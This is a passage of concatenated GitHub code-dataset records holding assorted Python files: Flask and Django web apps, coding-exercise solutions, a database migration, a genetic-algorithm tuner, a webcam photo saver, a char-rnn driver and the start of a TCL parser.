methods=['POST'])\ndef upload_images():\n global flag_no_images_left_to_draw\n global image\n global id\n\n if 'images' not in request.files:\n # Handle the case where no files were selected\n return redirect(request.referrer)\n uploaded_files = request.files.getlist('images')\n\n if not uploaded_files or uploaded_files[0].filename == '':\n return redirect(request.referrer)\n\n for file in uploaded_files:\n image_data = file.read()\n db.add_original_image(image_data)\n\n flag_no_images_left_to_draw = False\n id, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\n return redirect(request.referrer)\n\n@app.route(\"/deleteEntry/\", methods=[\"POST\"])\ndef deleteEntry(id):\n db.deleteEntry(id)\n return redirect(request.referrer)\n\n@app.route(\"/deleteEntryDrawing/\", methods=[\"POST\"])\ndef deleteEntryDrawing(id):\n db.deleteEntryDrawing(id)\n return redirect(request.referrer)\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000, debug=False)\n","repo_name":"RauschRobin/Studienarbeit","sub_path":"src/ToolForDatasetCreation/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19514235168","text":"#!/bin/python3\nimport os\n\n\n# Find upper and lower bounds\ndef findBounds(machines, goal):\n max_power = 0\n total_effect = 0\n\n for m in machines:\n if m > max_power:\n max_power = m\n\n total_effect += 1 / m\n\n lower_bound = int(goal // total_effect)\n upper_bound = lower_bound + max_power\n\n return lower_bound, upper_bound\n\n\n# Calculate total production of all machines for given days\ndef findProduction(machines, days):\n production = 0\n\n for m in machines:\n production += days // m\n\n return production\n\n\n# Find lower and upper bounds of possible solution range. Then perform binary search.\n# Note that it is possible that more than one number of days can be equal to same production amount so we must also find\n# the lowest one\ndef minTime(machines, goal):\n lower_bound, upper_bound = findBounds(machines, goal)\n\n min_days = upper_bound\n\n while lower_bound <= upper_bound:\n mid = (lower_bound + upper_bound) // 2\n\n production = findProduction(machines, mid)\n\n if production < goal:\n lower_bound = mid + 1\n\n else:\n min_days = mid\n upper_bound = mid - 1\n\n return min_days\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n nGoal = input().split()\n\n n = int(nGoal[0])\n\n goal = int(nGoal[1])\n\n machines = list(map(int, input().rstrip().split()))\n\n ans = minTime(machines, goal)\n\n fptr.write(str(ans) + '\\n')\n\n fptr.close()\n","repo_name":"simsekhalit/CookSheets-Algorithms","sub_path":"problems/hackerrank-minimum-time-required/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"38721200940","text":"\"\"\"CSC148 Prep 6 Synthesize\r\n\r\n=== CSC148 Winter 2022 ===\r\nDepartment of Computer Science,\r\nUniversity of Toronto\r\n\r\nThis code is provided solely for the personal and private use of\r\nstudents taking the CSC148 course at the University of Toronto.\r\nCopying for purposes other than this use is expressly prohibited.\r\nAll forms of distribution of this code, whether as given or with\r\nany changes, are expressly prohibited.\r\n\r\nCopyright (c) 2021 Diane Horton, Jonathan Calver, Sophia Huynh,\r\nMyriam Majedi, and Jaisie Sin.\r\n\r\n=== Module Description ===\r\nThis module contains a __main__ block that defines some client code.\r\nDefine the three classes so that the example __main__ block will\r\nrun with all assertions passing and the output as described.\r\n\r\nThe provided self-test on MarkUs is the FULL test suite for this week!\r\nThis is a more robust set of tests, and there are no hidden test cases.\r\n\r\nYour grade will correspond to the number of test cases passed. If you\r\npass all of them, then you will receive full marks for this prep.\r\nAs such, any unspecified behaviour that is not in the self-test is left\r\nas a design decision for you.\r\n\r\nYour task for this prep is to complete a program that allows a user to create\r\nchecklists with items to be done and record when items are completed:\r\n- A checklist has a name (str) and a list of checklist items.\r\n- A checklist item has a description (str), a deadline (date), and\r\n the name of the user who completed the item.\r\n- A user has a name (str) and the total number items they have completed (int).\r\n\r\nYou will need to write one class for each of these entities.\r\nSee the __main__ block for an example of how we want to use these classes.\r\n\r\nYou may choose any reasonable way to store the necessary data. Attributes that\r\nare of type int, str, or bool, and date may be public, but all other attributes\r\nmust be private. You may add imports from the typing module, but do NOT add any\r\nother imports.\r\n\r\nWe will be checking for class docstrings that follow the Class Design Recipe.\r\nYou must include attribute type annotations and descriptions for all attributes.\r\nDocstrings for your methods are NOT required.\r\n\"\"\"\r\nfrom __future__ import annotations\r\nfrom datetime import date\r\nfrom typing import List\r\n\r\n# If you need any imports from the typing module, you may import them above.\r\n# (e.g. from typing import Optional)\r\n\r\n\r\n# TODO: Define the 3 necessary classes here.\r\n# See the __main__ block below for an example of how the classes will\r\n# be called and the expected output.\r\n# Be sure to write class docstrings that describe all attributes that\r\n# you create, and include type annotations for each attribute.\r\nclass CheckListItem:\r\n \"\"\"\r\n === Attributes ===\r\n desc:\r\n The description of this checklistitem\r\n deadline:\r\n the deadline when this item needs to be completed\r\n name:\r\n name of the user who completed this task\r\n \"\"\"\r\n desc: str\r\n deadline: date\r\n comp_name: str\r\n\r\n def __init__(self, desc: str, deadline: date) -> None:\r\n \"\"\"\r\n \"\"\"\r\n self.desc = desc\r\n self.deadline = deadline\r\n self.name = None\r\n\r\n def complete_item(self, user_name: User) -> None:\r\n self.comp_name = user_name\r\n\r\n\r\nclass User:\r\n \"\"\"A user\r\n\r\n === Attributes ===\r\n name:\r\n name of the user\r\n complete:\r\n number of items completed by this user\r\n \"\"\"\r\n name: str\r\n complete: int\r\n\r\n def __init__(self, name: str) -> None:\r\n \"\"\"initialize a user with a name and an empty list of completed tasks\r\n \"\"\"\r\n self.name = name\r\n self.complete = 0\r\n\r\n def total_items_checked(self) -> int:\r\n return self.complete\r\n\r\n\r\nclass Checklist:\r\n \"\"\"\r\n === Attributes ===\r\n name:\r\n name of this checklist\r\n lst_checks:\r\n list of all the checklistitems in the checklist\r\n lst_users:\r\n list of all the users who have completed tasks\r\n \"\"\"\r\n lst_name: str\r\n _lst_checks: List[CheckListItem]\r\n _lst_users: List[User]\r\n\r\n def __init__(self, lst_name: str) -> None:\r\n \"\"\"Initialize a checklist with a name and a list of checklisitems\r\n \"\"\"\r\n self.lst_name = lst_name\r\n self._lst_checks = []\r\n self._lst_users = []\r\n\r\n def print(self) -> str:\r\n print(self.lst_name)\r\n for items in self.lst_checks:\r\n if items.name is not None:\r\n print('[x] ' + items.desc + ' ' + str(items.deadline) +\r\n ', completed by ' + items.comp_name)\r\n else:\r\n print('[-] ' + items.desc + ' ' + str(items.deadline))\r\n\r\n def create_item(self, item_name: str, dates: date) -> None:\r\n\r\n new_item = CheckListItem(item_name, dates)\r\n self.lst_checks.append(new_item)\r\n\r\n def mark_item_complete(self, item_name: str, user_name: User) -> None:\r\n\r\n for item in self.lst_checks:\r\n if item.desc == item_name:\r\n break\r\n user = User(user_name)\r\n if user not in self._lst_users.name:\r\n self._lst.users.append(user)\r\n\r\n CheckListItem.complete_item(item, user)\r\n user.complete = user.complete + 1\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # Instantiate three users\r\n manila = User('Manila')\r\n sofija = User('Sofija')\r\n felix = User('Felix')\r\n\r\n # Instantiate a checklist\r\n manilas_checklist = Checklist('Planner for M')\r\n\r\n # Manila adds some items to the checklist, the first one she adds is Math\r\n # Homework due on March 1st.\r\n manilas_checklist.create_item('Math Homework', date(2021, 3, 1))\r\n manilas_checklist.create_item('pick up milk', date(2021, 2, 25))\r\n manilas_checklist.create_item('CSC148 A1', date(2021, 3, 2))\r\n\r\n # Manila finishes her CSC148 assignment and marks it complete\r\n manilas_checklist.mark_item_complete('CSC148 A1', manila)\r\n\r\n # Sofija attempts to check off an item as complete that isn't in\r\n # manilas_checklist. This does nothing.\r\n manilas_checklist.mark_item_complete('MAT157 Review', sofija)\r\n\r\n # Sofija picks up milk for Manila.\r\n manilas_checklist.mark_item_complete('pick up milk', sofija)\r\n\r\n print(manilas_checklist)\r\n # The output is below. Notice that the order is based on the order they\r\n # were added to manilas_checklist. Output:\r\n # Planner for M\r\n # [-] Math Homework (2021-03-01)\r\n # [x] pick up milk (2021-02-25), completed by Sofija\r\n # [x] CSC148 A1 (2021-03-02), completed by Manila\r\n\r\n # confirm the check list items are all present in the checklist\r\n for item_description in ['Math Homework', 'pick up milk', 'CSC148 A1']:\r\n assert manilas_checklist.has_item(item_description)\r\n\r\n # Felix completed no checklist items\r\n assert felix.total_items_checked == 0\r\n # Manila and Sofija each completed one checklist item\r\n assert manila.total_items_checked == 1\r\n assert sofija.total_items_checked == 1\r\n\r\n import python_ta\r\n\r\n python_ta.check_all(config={\r\n 'extra-imports': ['datetime'],\r\n 'disable': ['W0212', 'E1136']\r\n })\r\n","repo_name":"susseam/prep6","sub_path":"prep6.py","file_name":"prep6.py","file_ext":"py","file_size_in_byte":7129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27043693113","text":"class Anime:\n def __init__(self, name, rating, genre):\n self.name = name\n self.rating = rating\n self.genre = genre\n\n def add_character(self, *info):\n pass\n\n def __str__(self):\n s = f\"Name: {self.name}\\nRating: {self.rating}\\nGenre: {self.genre}\"\n return s\n\nclass Naruto(Anime):\n def __init__(self, name, rating, genre, ry):\n super().__init__(name, rating, genre)\n self.ry = ry \n self.characters = {}\n \n def release_year(self):\n return \"{} has been released in {}!!!\".format(self.name, self.ry)\n \n def add_character(self, *characters):\n i = 0\n l = len(characters)\n while i ', 'book':book_serializer.data}\n return Response(response, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef book_detail(request, pk):\n try:\n book = Books.objects.get(pk=pk)\n except Books.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n#retrieve\n\n if request.method == 'GET':\n serializer = BookskSerializer(book, data)\n return Response(serializer.data, status=status.HTTP_200_OK)\n#update\n@api_view(['PUT'])\ndef update_book(request, pk): \n if request.method =='PUT':\n book = Books.objects.get(pk=pk)\n data=request.data\n serializer = BooksSerializer(book, data)\n if serializer.is_valid():\n serializer.save()\n return Response({'message':'this book is about to be updated'}, serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n#delete\n@api_view(['DELETE'])\ndef delete_book(request, pk):\n if request.method == 'DELETE':\n book = Books.objects.get(pk=pk)\n book.delete()\n return Response({'message':'this book has been deleted'}, status=status.HTTP_204_NO_CONTENT)\n\n@api_view(['PUT'])\ndef update_review(request, id):\n if request.method == 'PUT':\n review = Review.objects.get(id=id)\n data = request.data\n review_serializer = ReviewSerializer(review, data)\n if review_serializer.is_valid():\n review_serializer.save()\n return Response({'instruction':'you are given the opportunity to update your comment'}, review_serializer.data)\n return Response(review_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['DELETE'])\ndef delete_review(request, pk):\n if request.method == 'DELETE':\n review = Review.objects.get(pk=pk)\n review.delete()\n return Response({'message':'this review has been deleted'}, status=status.HTTP_204_NO_CONTENT)","repo_name":"Ibelema/bookstore","sub_path":"bookshop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25654700748","text":"#!/usr/bin/python3\nfrom calculator_1 import add, mul, sub, div\nfrom sys import argv\nimport sys\n\n\ndef main():\n operators = \"+/*-\"\n if (len(argv) < 4):\n print(\"Usage: ./100-my_calculator.py \")\n sys.exit(1)\n\n a = int(argv[1])\n operator = argv[2]\n b = int(argv[3])\n\n if (operator not in operators):\n print(\"Unknown operator. Available operators: +, -, * and /\")\n sys.exit(1)\n res = 0\n if (operator == \"+\"):\n res = add(a, b)\n print(f\"{a} + {b} = {res}\")\n sys.exit(0)\n elif (operator == \"*\"):\n res = mul(a, b)\n print(f\"{a} * {b} = {res}\")\n sys.exit(0)\n elif (operator == \"-\"):\n res = sub(a, b)\n print(f\"{a} - {b} = {res}\")\n sys.exit(0)\n else:\n res = div(a, b)\n print(f\"{a} / {b} = {res}\")\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"hatealx/alx-higher_level_programming","sub_path":"0x02-python-import_modules/100-my_calculator.py","file_name":"100-my_calculator.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41842453735","text":"\"\"\"empty message\n\nRevision ID: 253ca68af837\nRevises: d488178a75a3\nCreate Date: 2019-11-08 19:52:07.128281\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '253ca68af837'\ndown_revision = 'd488178a75a3'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('classes', sa.Column('section', sa.String(length=2), nullable=True))\n op.drop_constraint('course_ibfk_1', 'course', type_='foreignkey')\n op.drop_column('course', 'Faculty_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('course', sa.Column('Faculty_id', mysql.INTEGER(display_width=11), autoincrement=False, nullable=True))\n op.create_foreign_key('course_ibfk_1', 'course', 'faculty', ['Faculty_id'], ['id'])\n op.drop_column('classes', 'section')\n # ### end Alembic commands ###\n","repo_name":"Nannigalaxy/flask_web_app","sub_path":"migrations/versions/253ca68af837_.py","file_name":"253ca68af837_.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35267714378","text":"import sys\n\nheight = int(sys.stdin.readline())\n\n#print(\"height :\", height)\n\ntable = []\nfor i in range(height+1):\n table.append([0 for i in range(height+1)])\n\n#print(\"arr :\")\n#print(table)\n\nstudents = {}#[[]]*(height*height+1)\n#print(students)\nfor i in range(height*height):\n arr= list(map(int, sys.stdin.readline().split()))\n #print(arr)\n #arr = list(int(sys.stdin.readline().strip()))\n if len(arr[1:]) == 0:\n students[arr[0]] = [-1]\n else:\n students[arr[0]] = arr[1:]\n\nprint(students)\n#print(len(students))\nx = [0 ,1, 0 , -1]\ny = [1 ,0, -1 , 0] #우 아래 좌 위 방향으로 확인\n\n\n\n\n\nfor cur_student, cur_values in students.items(): #학생수만큼 탐색을 진행\n #print(\"cur_student : \", cur_student)\n #print(\"cur_values : \", cur_values)\n max_indexX = 0\n max_indexY = 0\n max_value = 0\n max_empty = 0\n for i in range(1,height+1):\n for j in range(1, height+1):\n #print(\"i, j : \", i, j)\n temp_value = 0\n temp_empty = 0\n\n if table[i][j] != 0:\n continue;\n\n for k in range(len(x)):\n check_indexX = i + x[k]\n check_indexY = j + y[k]\n if(height < check_indexX or check_indexX < 1):\n continue\n if(height < check_indexY or check_indexY < 1):\n continue\n\n if table[check_indexX][check_indexY] in cur_values:\n temp_value += 1\n elif(table[check_indexX][check_indexY] == 0):\n #print(\"check i, j : \", check_indexX,check_indexY )\n temp_empty += 1\n\n if temp_value > max_value:\n #print(\"change1 i, j : \", i, j)\n max_indexX = i\n max_indexY = j\n max_value = temp_value\n max_empty = temp_empty\n elif temp_value == max_value:\n if temp_empty > max_empty:\n #print(\"change2 i, j : \", i, j)\n #print(\"max empty: \",max_empty)\n #print(\"cur empty: \",temp_empty)\n max_indexX = i\n max_indexY = j\n max_value = temp_value\n max_empty = temp_empty\n\n table[max_indexX][max_indexY] = cur_student\n #print(table)\nprint(table)\n\ntotal_value = 0\n\nfor i in range(1, height + 1):\n for j in range(1, height + 1):\n print(table[i][j])\n cur_values = students[table[i][j]]\n #print(\"cur_values :\", cur_values)\n temp_value = 0\n for k in range(len(x)):\n check_indexX = i + x[k]\n check_indexY = j + y[k]\n if (height < check_indexX or check_indexX < 1):\n continue\n if (height < check_indexY or check_indexY < 1):\n continue\n\n if table[check_indexX][check_indexY] in cur_values:\n # print(\"check value\")\n temp_value += 1\n if temp_value == 1:\n total_value += 1\n elif temp_value == 2:\n total_value += 10\n elif temp_value == 3:\n total_value += 100\n elif temp_value == 4:\n total_value += 1000\nprint(total_value)","repo_name":"min-kim-oss/2023_coding_test","sub_path":"BJ/implematation/BJ21608_undo.py","file_name":"BJ21608_undo.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31982390544","text":"import os\n\n\nclass Config:\n \"\"\"Base configuration variables.\"\"\"\n SECRET_KEY = os.environ.get('SECRET_KEY')\n LOG_LEVEL = os.environ.get('LOG_LEVEL')\n LOGGLY_TOKEN = os.environ.get('LOGGLY_TOKEN')\n LOGIN_DISABLED = os.environ.get('LOGIN_DISABLED') == \"False\"\n\n if not SECRET_KEY:\n raise ValueError(\"No SECRET_KEY set for Flask application. Did you follow the setup instructions?\")\n","repo_name":"kiranuppi/DevOps-Course-Starter","sub_path":"todo_app/flask_config.py","file_name":"flask_config.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21446464856","text":"import geatpy as ea\r\nimport numpy as np\r\nfrom sklearn.model_selection import KFold\r\nfrom elm_class import ELM\r\nfrom multiprocessing.dummy import Pool as ThreadPool\r\n# 遗传算法工具箱geatpy单目标优化模板\r\nclass GA(ea.Problem): # 继承Problem父类\r\n def __init__(self, data, labels):\r\n name = 'KLM_GA' # 函数名称,可以随意设置\r\n M = 1 # 初始化M(目标维数)\r\n maxormins = [-1] # 目标最小最大化标记列表,1:最小化该目标;-1:最大化该目标\r\n Dim = 1 # 初始化Dim(决策变量维数)\r\n varTypes = [1] # 初始化varTypes(决策变量的类型,元素为0表示对应的变量是连续的;1表示是离散的)\r\n lb = [100] * Dim # 决策变量下界\r\n ub = [500] * Dim # 决策变量上界\r\n lbin = [1] * Dim # 决策变量下边界(0表示不包含该变量的下边界,1表示包含)\r\n ubin = [1] * Dim # 决策变量上边界(0表示不包含该变量的上边界,1表示包含)\r\n # 调用父类构造方法完成实例化\r\n ea.Problem.__init__(self, name, M, maxormins, Dim, varTypes, lb, ub, lbin, ubin)\r\n # 属性集和标签集\r\n self.data = data\r\n self.dataTarget = labels\r\n\r\n def aimFunc(self, pop): # 目标函数,采用多线程加速计算\r\n Vars = pop.Phen # 得到决策变量矩阵\r\n pop.ObjV = np.zeros((pop.sizes, 1)) # 初始化种群个体目标函数值列向量\r\n\r\n def subAimFunc(index):\r\n num = Vars[index, 0]\r\n # 计算交叉验证的得分\r\n sumAcc = 0\r\n kfold = KFold(n_splits=10, shuffle=False)\r\n for i, j in kfold.split(self.data, self.dataTarget):\r\n train_data, train_label = self.data[i, :], self.dataTarget[i]\r\n valid_data, valid_label = self.data[j, :], self.dataTarget[j]\r\n # ELM分类\r\n row = train_data.shape[0]\r\n columns = train_data.shape[1]\r\n rnd = np.random.RandomState(4396)\r\n # 随机产生输入权重w 和隐层偏差b\r\n w = rnd.uniform(-1, 1, (columns, num))\r\n b = np.zeros([row, num], dtype=float)\r\n for i in range(num):\r\n rand_b = rnd.uniform(-0.4, 0.4)\r\n for j in range(row):\r\n b[j, i] = rand_b\r\n model = ELM(train_data, w, b)\r\n model.classify_train(train_label)\r\n predict = model.classify_predict(valid_data)\r\n acc = np.sum(predict == valid_label) / len(predict)\r\n sumAcc = sumAcc + acc\r\n pop.ObjV[index] = sumAcc/10 # 把交叉验证的平均得分作为目标函数值\r\n\r\n pool = ThreadPool(2) # 设置池的大小\r\n pool.map(subAimFunc, list(range(pop.sizes)))\r\n","repo_name":"LieFlatRemi/MachineLearningHw","sub_path":"python-ELM/ga_class.py","file_name":"ga_class.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"14331689236","text":"import random\nimport cv2\nimport os\nfrom PyQt5.QtCore import QByteArray, qFuzzyCompare, Qt, QTimer\nfrom PyQt5.QtGui import QPalette, QPixmap\nfrom PyQt5.QtMultimedia import (QAudioEncoderSettings, QCamera,\n QCameraImageCapture, QImageEncoderSettings, QMediaMetaData,\n QMediaRecorder, QMultimedia, QVideoEncoderSettings)\nfrom PyQt5.QtWidgets import (QAction, QActionGroup, QApplication, QDialog,\n QMainWindow, QMessageBox)\n\nfrom ui_training_form import Ui_MainWindow as UI_TrainingForm\nBLOCKS_COUNT = 4\nclass TrainingForm(QDialog):\n # Основной класс для сохранения фото\n def __init__(self, parent=None):\n super(TrainingForm, self).__init__(parent)\n\n self.ui = UI_TrainingForm()\n self.ui.setupUi(self)\n self.blocks = [self.ui.block_1, self.ui.block_2, self.ui.block_3, self.ui.block_4]\n self.timer = QTimer(self)\n\n for i in range(len(self.blocks)):\n if not os.path.exists('{0}'.format(i+1)):\n os.makedirs('{0}'.format(i+1))\n # тут храним кол=во картинок в папке\n self.block_img_counter = []\n for i in range(BLOCKS_COUNT):\n block_index = i + 1\n block_dir = os.walk('{0}'.format(block_index))\n for d, dirs, files in block_dir:\n self.block_img_counter.append(len(files))\n self.timer.timeout.connect(self.timer_tick)\n self.timer.start(1500)\n # cameraDevice = QByteArray()\n self.cam = cv2.VideoCapture(0)\n self.img_number = 1\n\n\n\n def setCentralWidget(self, centralWidget):\n pass\n\n def setStatusBar(self, statusBar):\n pass\n\n def timer_tick(self):\n self.point_number = random.randrange(0, len(self.blocks))\n for block in self.blocks:\n block.setStyleSheet(\"border: 1px solid rgb(0, 0, 0); background:rgb(244, 254, 255)\")\n\n block = self.blocks[self.point_number]\n block.setStyleSheet(\"border: 1px solid rgb(0, 0, 0); background: #aaffd8;\")\n timeout(self.save_img, timeout_duration=300)\n\n def save_img(self):\n #Сохранение фотки\n _, frame = self.cam.read()\n self.block_img_counter[self.point_number]\n cv2.imwrite('{0}\\img_{1}.jpg'.format(self.point_number+1,\n self.block_img_counter[self.point_number]), frame)\n print('saved')\n self.block_img_counter[self.point_number] += 1\n\ndef timeout(func, args=(), kwargs={}, timeout_duration=1, default=None):\n import threading\n class InterruptableThread(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n self.result = None\n\n def run(self):\n try:\n self.result = func(*args, **kwargs)\n except:\n self.result = default\n\n it = InterruptableThread()\n it.start()\n it.join(timeout_duration)\n if it.isAlive():\n return default\n else:\n return it.result\n\nif __name__ == '__main__':\n\n import sys\n\n app = QApplication(sys.argv)\n\n form = TrainingForm()\n form.show()\n\n sys.exit(app.exec_())","repo_name":"takentui/EyeWindowsController","sub_path":"training_faces/photo_saver.py","file_name":"photo_saver.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72637932648","text":"\"\"\"226. Invert Binary Tree\nEasy\n10.1K\n142\nCompanies\nGiven the root of a binary tree, invert the tree, and return its root.\n\n \n\nExample 1:\n\n\nInput: root = [4,2,7,1,3,6,9]\nOutput: [4,7,2,9,6,3,1]\nExample 2:\n\n\nInput: root = [2,1,3]\nOutput: [2,3,1]\nExample 3:\n\nInput: root = []\nOutput: []\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n \n def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]:\n if not root:\n return\n temp=root\n # result=[]\n stack = []\n stack.append(root)\n # print(root.left.left)\n # print(\"root: \",root)\n while stack:\n root = stack.pop(0)\n # result.append(root.val)\n left = root.left\n right = root.right\n\n root.left=right\n root.right=left\n \n if root.right:stack.append(root.right)\n if root.left:stack.append(root.left)\n \n # print(result)\n return temp","repo_name":"behrooz2011/algorithm","sub_path":"75 Leet/Tree_invert_binary_no_value_arr.py","file_name":"Tree_invert_binary_no_value_arr.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38641151920","text":"# 19. Write a program that asks the user for a large integer and inserts commas into it according\n# to the standard American convention for commas in large numbers. For instance, if the user\n# enters 1000000, the output should be 1,000,000.\n\nlarge_int = input('Enter a large integer: ')\n\nlarge_int = large_int[::-1]\nnew_int = ''\nfor i in range(len(large_int)):\n if i % 3 == 0 and i != 0:\n new_int += ','\n new_int += large_int[i]\nnew_int = new_int[::-1]\n\nprint(new_int)\n","repo_name":"ahr9n/awesome-reading","sub_path":"a-practical-introduction-to-python-programming-brian-heinold/chapter-06/exercise-19.py","file_name":"exercise-19.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"53"}
+{"seq_id":"25310902607","text":"# Driver program, replaces previous Powershell and shell options\n\nimport os\nimport argparse\n\ndef main():\n # Create the argument parser\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-f\", \"--filename\", required=True,\n help=\"name of the data file\")\n ap.add_argument(\"-e\", \"--epochs\", required=False, default=10,\n help=\"number of epochs for the hidden layer\")\n ap.add_argument(\"-hi\", \"--hidden\", required=False, default=2,\n help=\"number of hidden layers\")\n ap.add_argument(\"-d\", \"--dropout\", required=False, default=0.3,\n help=\"dropout\")\n ap.add_argument(\"-b\", \"--batch\", required=False, default=512,\n help=\"batch size\")\n ap.add_argument(\"-s\", \"--sequence\", required=False, default=15,\n help=\"sequence length\")\n ap.add_argument(\"-n\", \"--nodes\", required=False, default=256,\n help=\"number of nodes per hidden layer\")\n\n # Read in command line arguments\n args = vars(ap.parse_args())\n filename = args[\"filename\"]\n epochs = max(int(args[\"epochs\"]), 1)\n hidden = max(int(args[\"hidden\"]), 1)\n dropout = float(args[\"dropout\"])\n batch = int(args[\"batch\"])\n seq = max(int(args[\"sequence\"]), 1)\n nodes = max(int(args[\"nodes\"]), 1)\n\n # Call the model runner\n command = \"python char-rnn-model.py -f {0} -e {1} -hi {2} -d {3} -b {4} -s {5} -n {6}\"\\\n .format(filename, epochs, hidden, dropout, batch, seq, nodes)\n print(command)\n os.system(command)\n\n # Call the model generator\n os.system(\"python char-rnn-pred.py {0} {1} {2}\".format(filename, hidden, nodes))\n\n # Call the postprocessor\n os.system(\"python postprocess.py {0}\".format(filename))\n\n# Runner\nif __name__==\"__main__\":\n main()\n","repo_name":"bgreenawald/Char-Rnn","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28095808537","text":"\n# big stack of parsed stuff\n# contains dictionary entries of just about every token\n#parse_stack = []\n\nclass TCLParse:\n def __init__(self, tcl_str):\n self.parse_tree = []\n self.cmd_list = []\n self.parentextra = ''\n self.extraind = 0\n self.tcl_str = tcl_str\n \n # end immediately and return a value\n def E_RETURN(self, val):\n self.tcl_str = ''\n return val\n \n def EOF(self):\n return len(self.tcl_str) == 0\n\n # look at the next char\n def peek(self):\n assert not self.EOF()\n return self.tcl_str[0]\n\n # remove the next char\n def pop(self):\n self.tcl_str = self.tcl_str[1:]\n\n def parse_add(self, key, value):\n if self.parentextra == '':\n self.parse_tree.append({key: value})\n else:\n if self.extraind == 0:\n self.parse_tree.append({self.parentextra: []})\n self.extraind = len(self.parse_tree) - 1\n self.parse_tree[self.extraind][self.parentextra].append({key: value})\n \n def ARRAY(self):\n assert self.peek() == '('\n \n self.pop()\n if self.peek() == '$':\n w = {'VAREXP': self.VAREXP()}\n else:\n w = {'WORD': self.WORD()}\n self.pop()\n \n return w\n \n # WORD = ALPHANUM, { ALPHANUM } ;\n # alternative if a ( is found ARRAY = WORD, ['(', { anychar - ')' }, ')'] ;\n # array is store as a list with name and index\n def WORD(self):\n wb = ''\n while not self.EOF() and self.ALPHANUM(self.peek()):\n wb += self.peek()\n self.pop()\n if not self.EOF() and self.peek() == '(': # array\n arr = self.ARRAY()\n \n return {'name': wb, 'index': arr}\n return wb\n\n # END just matches ; or \\n or EOF\n # END = ';' | '\\n' | EOF ;\n def END(self):\n if self.EOF(): # end of file\n return\n # print(f'\"{peek()}\"')\n assert self.peek() == ';' or self.peek() == '\\n'\n self.pop()\n\n # WHITE_SPACE just matches a space\n def WHITE_SPACE(self):\n assert self.peek() == ' '\n self.pop()\n\n def ALPHANUM(self, n):\n return n.isalnum() | (n in '*/+-<>=.')\n\n # BRACEBLOCK = '{', ( BRACEBLOCK | ( { anychar - '}' } , '}' ) ) ;\n def BRACEBLOCK(self):\n wb = ''\n assert self.peek() == '{'\n self.pop()\n while self.peek() != '}':\n if self.peek() == '{':\n wb += '{' + self.BRACEBLOCK() + '}' # preserves internal braces and only goes one level down\n if self.peek() == '}': break\n wb += self.peek()\n self.pop()\n assert self.peek() == '}'\n self.pop()\n \n return wb\n\n # VAREXP = '$', ([BRACEBLOCK] | WORD) ;\n def VAREXP(self):\n assert self.peek() == '$'\n self.pop()\n \n parsed = ''\n \n if self.peek() == '{':\n parsed = self.BRACEBLOCK()\n elif self.ALPHANUM(self.peek()):\n parsed = self.WORD()\n else:\n print('invalid variable expression')\n \n #self.parse_add('VAREXP', parsed)\n return parsed\n\n # CMDEXP = '[', CMD | ']' ;\n def CMDEXP(self):\n assert self.peek() == '['\n #self.parse_add('COMEXP_START', self.peek())\n self.parentextra = 'COMEXP'\n self.pop()\n self.CMD()\n assert self.peek() == ']'\n #self.parse_add('COMEXP_END', self.peek())\n self.parentextra = ''\n self.extraind = 0\n self.pop()\n\n # QUOTEBLOCK = '\"', { CMDEXP | VAREXP | anychar - ('[', '$') }, \" ;\n def QUOTEBLOCK(self):\n wb = ''\n assert self.peek() == '\"'\n self.parentextra = 'QUOTE'\n #self.parse_add('QUOTE_START', 